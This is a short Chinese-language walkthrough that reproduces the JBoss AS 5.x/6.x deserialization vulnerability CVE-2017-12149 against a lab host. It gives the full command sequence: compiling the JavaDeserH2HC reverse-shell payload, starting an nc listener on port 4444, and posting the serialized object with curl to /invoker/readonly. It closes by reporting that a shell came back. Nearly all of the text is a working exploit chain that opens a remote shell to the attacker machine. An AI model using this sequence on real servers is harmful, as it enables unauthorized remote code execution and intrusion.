JBOSS AS 5.X/6.X 反序列化漏洞(CVE-2017-12149)复现

本机IP：192.168.220.145

靶机IP：192.168.220.139，版本为JBOSS AS 6.1.0 Final

首先访问目标地址，http://192.168.220.139:8080/invoker/readonly

返回500，一般存在

执行命令

┌─[root@sch01ar]─[~]
└──╼ #cd /sch01ar/JavaDeserH2HC/
┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC]
└──╼ #javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC]
└──╼ #java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 192.168.220.145:4444
Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser

生成了一个ReverseShellCommonsCollectionsHashMap.ser文件

用nc监听4444端口

┌─[✗]─[root@sch01ar]─[~]
└──╼ #nc -vlp 4444

发送payload

┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC]
└──╼ #curl http://192.168.220.139:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

nc成功返回shell